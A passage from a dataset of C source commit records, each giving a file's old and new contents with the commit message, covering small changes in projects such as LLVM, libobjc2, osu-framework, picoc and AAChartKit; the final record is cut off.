wang\/chromium,robclark\/chromium,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Just-D\/chromium-1,markYoungH\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,Jonekee\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,robclark\/chromium,littlstar\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,keishi\/chromium,robclark\/chromium,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,keishi\/chromium,markYoungH\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,keishi\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,robclark\/chromium,Just-D\/chromium-1,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,robclark\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,keishi\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src"} {"commit":"86f04cd3f2d5c23f1745acdaa86ef526c174ce9a","old_file":"aescpuid.c","new_file":"aescpuid.c","old_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of AES instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#ifndef SILENT\n#include \n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include \nstatic int CheckCPUsupportAES()\n{\n unsigned int CPUInfo[4];\n __cpuid(1, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportAES()\n{\n unsigned int CPUInfo[4];\n __cpuid(CPUInfo, 1);\n return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n const int res = !CheckCPUsupportAES();\n#ifndef SILENT\n printf(\"This CPU %s AES-NI\\n\", res ? \"does not support\" : \"supports\");\n#endif\n return res;\n}\n","new_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of AES instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#include \n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include \nstatic int CheckCPUsupportAES()\n{\n unsigned int CPUInfo[4];\n __cpuid(1, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportAES()\n{\n unsigned int CPUInfo[4];\n __cpuid(CPUInfo, 1);\n return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n const int res = !CheckCPUsupportAES();\n printf(\"This CPU %s AES-NI\\n\", res ? \"does not support\" : \"supports\");\n return res;\n}\n","subject":"Print CPUID result to output","message":"Print CPUID result to output","lang":"C","license":"mit","repos":"pavelkryukov\/putty-aes-ni,pavelkryukov\/putty-aes-ni"} {"commit":"1e437be581a3d2e1176a66f4e2420ce7f37ead37","old_file":"TRD\/AliTRDPreprocessor.h","new_file":"TRD\/AliTRDPreprocessor.h","old_contents":"#ifndef ALI_TRD_PREPROCESSOR_H\n#define ALI_TRD_PREPROCESSOR_H\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TRD preprocessor for the database SHUTTLE \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliPreprocessor.h\"\n\nclass AliTRDPreprocessor : public AliPreprocessor\n{\n\n public:\n\n AliTRDPreprocessor(AliShuttleInterface *shuttle);\n virtual ~AliTRDPreprocessor();\n\n protected:\n\n virtual void Initialize(Int_t run, UInt_t startTime, UInt_t endTime);\n virtual UInt_t Process(TMap* \/*dcsAliasMap*\/);\n\n private:\n \n ClassDef(AliTRDPreprocessor,0);\n\n};\n\n#endif\n","new_contents":"#ifndef ALI_TRD_PREPROCESSOR_H\n#define ALI_TRD_PREPROCESSOR_H\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TRD preprocessor for the database SHUTTLE \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliPreprocessor.h\"\n\nclass AliTRDPreprocessor : public AliPreprocessor\n{\n\n public:\n\n AliTRDPreprocessor(AliShuttleInterface *shuttle);\n virtual ~AliTRDPreprocessor();\n\n protected:\n\n virtual void Initialize(Int_t run, UInt_t startTime, UInt_t endTime);\n virtual UInt_t Process(TMap* \/*dcsAliasMap*\/);\n\n private:\n \n ClassDef(AliTRDPreprocessor,0) \/\/ The SHUTTLE preprocessor for TRD\n\n};\n\n#endif\n","subject":"Add a comment behind ClassDef","message":"Add a comment behind ClassDef\n\n","lang":"C","license":"bsd-3-clause","repos":"ecalvovi\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot"} {"commit":"b7206937d9779b2e90ec28fe3ca42d00916eab14","old_file":"osu.Framework\/Resources\/Shaders\/sh_yuv2rgb.h","new_file":"osu.Framework\/Resources\/Shaders\/sh_yuv2rgb.h","old_contents":"uniform sampler2D m_SamplerY;\nuniform sampler2D m_SamplerU;\nuniform sampler2D m_SamplerV;\n\nuniform mat3 yuvCoeff;\n\n\/\/ Y - 16, Cb - 128, Cr - 128\nconst mediump vec3 offsets = vec3(-0.0625, -0.5, -0.5);\n\nlowp vec3 sampleRgb(vec2 loc) \n{\n float y = texture2D(m_SamplerY, loc).r;\n float u = texture2D(m_SamplerU, loc).r;\n float v = texture2D(m_SamplerV, loc).r;\n return yuvCoeff * (vec3(y, u, v) + offsets);\n}","new_contents":"uniform sampler2D m_SamplerY;\nuniform sampler2D m_SamplerU;\nuniform sampler2D m_SamplerV;\n\nuniform mediump mat3 yuvCoeff;\n\n\/\/ Y - 16, Cb - 128, Cr - 128\nconst mediump vec3 offsets = vec3(-0.0625, -0.5, -0.5);\n\nlowp vec3 sampleRgb(vec2 loc) \n{\n lowp float y = texture2D(m_SamplerY, loc).r;\n lowp float u = texture2D(m_SamplerU, loc).r;\n lowp float v = texture2D(m_SamplerV, loc).r;\n return yuvCoeff * (vec3(y, u, v) + offsets);\n}\n","subject":"Add precision prefixes to shaders","message":"Add precision prefixes to shaders\n\nCo-Authored-By: Dan Balasescu ","lang":"C","license":"mit","repos":"ppy\/osu-framework,ZLima12\/osu-framework,EVAST9919\/osu-framework,peppy\/osu-framework,EVAST9919\/osu-framework,ppy\/osu-framework,ZLima12\/osu-framework,smoogipooo\/osu-framework,peppy\/osu-framework,peppy\/osu-framework,EVAST9919\/osu-framework,smoogipooo\/osu-framework,EVAST9919\/osu-framework,ppy\/osu-framework"} {"commit":"b59d8199e0a0a3d1c77cc36f3cfb1c6716a254a8","old_file":"include\/llvm\/Transforms\/IPO.h","new_file":"include\/llvm\/Transforms\/IPO.h","old_contents":"\/\/===- llvm\/Transforms\/CleanupGCCOutput.h - Cleanup GCC Output ---*- C++ -*--=\/\/\n\/\/\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n#define LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n\nclass Pass;\nPass *createCleanupGCCOutputPass();\n\n#endif\n","new_contents":"\/\/===- llvm\/Transforms\/CleanupGCCOutput.h - Cleanup GCC Output ---*- C++ -*--=\/\/\n\/\/\n\/\/ These passes are used to cleanup the output of GCC. GCC's output is\n\/\/ unneccessarily gross for a couple of reasons. This pass does the following\n\/\/ things to try to clean it up:\n\/\/\n\/\/ * Eliminate names for GCC types that we know can't be needed by the user.\n\/\/ * Eliminate names for types that are unused in the entire translation unit\n\/\/ * Fix various problems that we might have in PHI nodes and casts\n\/\/ * Link uses of 'void %foo(...)' to 'void %foo(sometypes)'\n\/\/\n\/\/ Note: This code produces dead declarations, it is a good idea to run DCE\n\/\/ after this pass.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n#define LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n\nclass Pass;\n\n\/\/ CleanupGCCOutputPass - Perform all of the function body transformations.\n\/\/\nPass *createCleanupGCCOutputPass();\n\n\n\/\/ FunctionResolvingPass - Go over the functions that are in the module and\n\/\/ look for functions that have the same name. More often than not, there will\n\/\/ be things like:\n\/\/ void \"foo\"(...)\n\/\/ void \"foo\"(int, int)\n\/\/ because of the way things are declared in C. If this is the case, patch\n\/\/ things up.\n\/\/\n\/\/ This is an interprocedural pass.\n\/\/\nPass *createFunctionResolvingPass();\n\n#endif\n","subject":"Split the CleanupGCCOutput pass into two passes, and add real life actual documentation on when they do.","message":"Split the CleanupGCCOutput pass into two passes, and add real life actual\ndocumentation on when they do.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2222 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"} {"commit":"56ecad6907dea785ebffba414dfe3ff586e5f2e0","old_file":"src\/shutdown\/hpr_wall.c","new_file":"src\/shutdown\/hpr_wall.c","old_contents":"\/* ISC license. *\/\n\n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"hpr.h\"\n\n#ifndef UT_LINESIZE\n#define UT_LINESIZE 32\n#endif\n\nvoid hpr_wall (char const *s)\n{\n size_t n = strlen(s) ;\n char tty[10 + UT_LINESIZE] = \"\/dev\/\" ;\n char msg[n+1] ;\n memcpy(msg, s, n) ;\n msg[n++] = '\\n' ;\n setutxent() ;\n for (;;)\n {\n size_t linelen ;\n int fd ;\n struct utmpx *utx = getutxent() ;\n if (!utx) break ;\n if (utx->ut_type != USER_PROCESS) continue ;\n linelen = strnlen(utx->ut_line, UT_LINESIZE) ;\n memcpy(tty + 5, utx->ut_line, linelen) ;\n tty[5 + linelen] = 0 ;\n fd = open_append(tty) ;\n if (fd == -1) continue ;\n allwrite(fd, msg, n) ;\n fd_close(fd) ;\n }\n endutxent() ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"hpr.h\"\n\n#ifndef UT_LINESIZE\n#define UT_LINESIZE 32\n#endif\n\nvoid hpr_wall (char const *s)\n{\n size_t n = strlen(s) ;\n char tty[10 + UT_LINESIZE] = \"\/dev\/\" ;\n char msg[n+1] ;\n memcpy(msg, s, n) ;\n msg[n++] = '\\n' ;\n setutxent() ;\n for (;;)\n {\n size_t linelen ;\n int fd ;\n struct utmpx *utx = getutxent() ;\n if (!utx) break ;\n if (utx->ut_type != USER_PROCESS) continue ;\n linelen = strnlen(utx->ut_line, UT_LINESIZE) ;\n memcpy(tty + 5, utx->ut_line, linelen) ;\n tty[5 + linelen] = 0 ;\n fd = open_append(tty) ;\n if (fd == -1) continue ;\n allwrite(fd, msg, n) ;\n fd_close(fd) ;\n }\n endutxent() ;\n}\n","subject":"Include posixishard as late as possible","message":" Include posixishard as late as possible\n","lang":"C","license":"isc","repos":"skarnet\/s6-linux-init,skarnet\/s6-linux-init"} {"commit":"60da6bc748cf4366005a047a1ab2637184150333","old_file":"gc_none.c","new_file":"gc_none.c","old_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include \n#include \n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object = free_object,\n\t.malloc = alloc,\n\t.free = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","new_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include \n#include \n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t*)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object = free_object,\n\t.malloc = alloc,\n\t.free = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","subject":"Fix bug spotted by Justin Hibbits.","message":"Fix bug spotted by Justin Hibbits.\n\n\n\ngit-svn-id: f6517e426f81db5247881cd92f7386583ace04fa@33751 72102866-910b-0410-8b05-ffd578937521\n","lang":"C","license":"mit","repos":"crontab\/libobjc2,skudryas\/gnustep-libobjc2,skudryas\/gnustep-libobjc2,crontab\/libobjc2"} {"commit":"b6a760e55482bed227ab71c77727766ec134fe33","old_file":"tests\/47_switch_return.c","new_file":"tests\/47_switch_return.c","old_contents":"","new_contents":"#include \r\n\r\nvoid fred(int x)\r\n{\r\n switch (x)\r\n {\r\n case 1: printf(\"1\\n\"); return;\r\n case 2: printf(\"2\\n\"); break;\r\n case 3: printf(\"3\\n\"); return;\r\n }\r\n \r\n printf(\"out\\n\");\r\n}\r\n\r\nint main()\r\n{\r\n fred(1);\r\n fred(2);\r\n fred(3);\r\n \r\n return 0;\r\n} ","subject":"Test for switch with return inside a case.","message":"Test for switch with return inside a case.\n\n\ngit-svn-id: 1b2893900746d3474b20c0dea7456040123c3b26@505 21eae674-98b7-11dd-bd71-f92a316d2d60\n","lang":"C","license":"bsd-3-clause","repos":"jpoirier\/picoc"} {"commit":"3593b3c46b605566d4523330f452a2fbe738e074","old_file":"minunit.h","new_file":"minunit.h","old_contents":"","new_contents":"\/\/ Thanks to JeraTech for this minimalist TDD code,\n\/\/ which I've modified to resemble AngularJS's a bit more.\n\/\/ http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html\n\nint tests_run = 0;\n#define _it_should(message, test) do { if (!(test)) return message; } while (0)\n#define _run_test(test) do { char *message = test(); tests_run++; if (message) return message; } while (0)\n","subject":"Define a minimal unit testing framework.","message":"Define a minimal unit testing framework.\n","lang":"C","license":"agpl-3.0","repos":"ryepdx\/keyphrase,ryepdx\/keyphrase"} {"commit":"315c996e6e6fac57514d4faa73329060edf714dc","old_file":"libechonest\/src\/ENAPI_utils.h","new_file":"libechonest\/src\/ENAPI_utils.h","old_contents":"\/\/\n\/\/ ENAPI_utils.h\n\/\/ libechonest\n\/\/\n\/\/ Created by Art Gillespie on 3\/15\/11. art@tapsquare.com\n\/\/\n\n#import \"NSMutableDictionary+QueryString.h\"\n#import \"NSData+MD5.h\"\n#import \"ENAPI.h\"\n\n#define CHECK_API_KEY if (nil == [ENAPI apiKey]) { @throw [NSException exceptionWithName:@\"APIKeyNotSetException\" reason:@\"Set the API key before calling this method\" userInfo:nil]; }\n\nstatic NSString __attribute__((unused)) * const ECHONEST_API_URL = @\"http:\/\/developer.echonest.com\/api\/v4\/\";\n","new_contents":"\/\/\n\/\/ ENAPI_utils.h\n\/\/ libechonest\n\/\/\n\/\/ Created by Art Gillespie on 3\/15\/11. art@tapsquare.com\n\/\/\n\n#import \"NSMutableDictionary+QueryString.h\"\n#import \"NSData+MD5.h\"\n#import \"ENAPI.h\"\n\n#define CHECK_API_KEY if (nil == [ENAPI apiKey]) { @throw [NSException exceptionWithName:@\"APIKeyNotSetException\" reason:@\"Set the API key before calling this method\" userInfo:nil]; }\n\n#define CHECK_OAUTH_KEYS if (nil == [ENAPI consumerKey] && nil == [ENAPI sharedSecret]) { @throw [NSException exceptionWithName:@\"OAuthKeysNotSetException\" reason:@\"Set the consumer key & shared secret before calling this method\" userInfo:nil]; }\n\nstatic NSString __attribute__((unused)) * const ECHONEST_API_URL = @\"http:\/\/developer.echonest.com\/api\/v4\/\";\n","subject":"Add macro for checking OAuth keys.","message":"Add macro for checking OAuth keys.\n","lang":"C","license":"bsd-3-clause","repos":"echonest\/libechonest"} {"commit":"08d8a5ec7d018c771787bd33b429c2b2d096a578","old_file":"AAChartKit\/ChartsDemo\/SecondViewController.h","new_file":"AAChartKit\/ChartsDemo\/SecondViewController.h","old_contents":"\/\/\n\/\/ ViewController.h\n\/\/ AAChartKit\n\/\/\n\/\/ Created by An An on 17\/3\/13.\n\/\/ Copyright © 2017年 An An. All rights reserved.\n\/\/ source code ----*** https:\/\/github.com\/AAChartModel\/AAChartKit ***--- source code\n\/\/\n\n#import \ntypedef NS_ENUM(NSInteger,ENUM_secondeViewController_chartType){\n ENUM_secondeViewController_chartTypeColumn =0,\n ENUM_secondeViewController_chartTypeBar,\n ENUM_secondeViewController_chartTypeArea,\n ENUM_secondeViewController_chartTypeAreaspline,\n ENUM_secondeViewController_chartTypeLine,\n ENUM_secondeViewController_chartTypeSpline,\n ENUM_secondeViewController_chartTypeScatter,\n \n};\n\n\n@interface SecondViewController : UIViewController\n@property(nonatomic,assign)NSInteger ENUM_secondeViewController_chartType;\n@property(nonatomic,copy)NSString *receivedChartType;\n\n@end\n\n","new_contents":"\/\/\n\/\/ ViewController.h\n\/\/ AAChartKit\n\/\/\n\/\/ Created by An An on 17\/3\/13.\n\/\/ Copyright © 2017年 An An. All rights reserved.\n\/\/ source code ----*** https:\/\/github.com\/AAChartModel\/AAChartKit ***--- source code\n\/\/\n\n#import \ntypedef NS_ENUM(NSInteger,SecondeViewControllerChartType){\n SecondeViewControllerChartTypeColumn =0,\n SecondeViewControllerChartTypeBar,\n SecondeViewControllerChartTypeArea,\n SecondeViewControllerChartTypeAreaspline,\n SecondeViewControllerChartTypeLine,\n SecondeViewControllerChartTypeSpline,\n SecondeViewControllerChartTypeScatter,\n \n};\n\n\n@interface SecondViewController : UIViewController\n@property(nonatomic,assign)NSInteger SecondeViewControllerChartType;\n@property(nonatomic,copy)NSString *receivedChartType;\n\n@end\n\n","subject":"Correct the naming notations of enumeration","message":"Correct the naming notations of enumeration\n","lang":"C","license":"mit","repos":"AAChartModel\/AAChartKit,AAChartModel\/AAChartKit,AAChartModel\/AAChartKit"} {"commit":"ad42bb9a0b167e38bd2fef333c1d725bc41f0dc0","old_file":"src\/media\/tagreader.h","new_file":"src\/media\/tagreader.h","old_contents":"#ifndef TAGREADER_H\n#define TAGREADER_H\n\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n\nclass 